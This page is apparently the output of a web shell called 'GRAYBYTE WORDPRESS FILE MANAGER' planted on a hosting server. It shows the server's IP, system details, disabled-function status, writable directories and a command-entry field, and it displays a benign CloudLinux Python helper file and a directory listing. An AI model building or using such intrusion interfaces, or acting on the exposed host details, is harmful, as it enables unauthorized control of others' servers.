GRAYBYTE WORDPRESS FILE MANAGER9214

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/imunify360/venv/lib/python3.11/site-packages/clcommon/cpapi/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/imunify360/venv/lib/python3.11/site-packages/clcommon/cpapi//panel_hooks_lib.py
# -*- coding: utf-8 -*-

# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2018 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

import os
import subprocess
import sys

# Exit code when LVE doesn't support reseller limits
TOO_OLD_LVE = 38

EXIT_NO_USER_FOUND = 1
ERR_NO_USER_FOUND = 'Unable to find username in hook cmdline'

LVECTL = '/usr/sbin/lvectl'
WHMAPI1 = '/usr/sbin/whmapi1'

LVE_DIR = '/var/lve'
TMP_DIR = os.path.join(LVE_DIR, 'tmp')


def syncmap_supported():
    test_cmd = rf"{LVECTL} --help | grep -P '^sync-map\s+' &> /dev/null"
    return not subprocess.call(test_cmd, shell=True, executable='/bin/bash')


# still used in lve-utils several times
# move it there and then remove this file completely
def call_sync_map():
    """
    Run lvectl sync-map
    :return: None
    """
    ret_code = subprocess.call(f'{LVECTL} sync-map &> /dev/null',
                               shell=True, executable='/bin/bash')
    if ret_code not in (0, TOO_OLD_LVE):    # ignore calls with unsupported LVE
        if syncmap_supported():  # ignore only no such command "sync-map" error
            print(f'Error during "lvectl sync-map", code: {ret_code}', file=sys.stderr)

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 02 2025 08:36:55
root / root
0755
GeneralPanel
--
July 02 2025 08:36:55
root / root
0755
__pycache__
--
July 02 2025 08:36:55
root / root
0755
cache
--
July 02 2025 08:36:55
root / root
0755
plugins
--
July 02 2025 08:36:55
root / root
0755
__init__.py
14.542 KB
June 09 2025 11:12:39
root / root
0644
apilink.py
0.261 KB
June 09 2025 11:12:39
root / root
0644
clcpapi.py
3.643 KB
June 09 2025 11:12:39
root / root
0644
const.py
0.499 KB
June 09 2025 11:12:39
root / root
0644
cpapicustombin.py
2.123 KB
June 09 2025 11:12:39
root / root
0644
cpapiexceptions.py
1.748 KB
June 09 2025 11:12:39
root / root
0644
panel_hooks_lib.py
1.225 KB
June 09 2025 11:12:39
root / root
0644
pluginlib.py
7.57 KB
June 09 2025 11:12:39
root / root
0644
utils.py
1.029 KB
June 09 2025 11:12:39
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF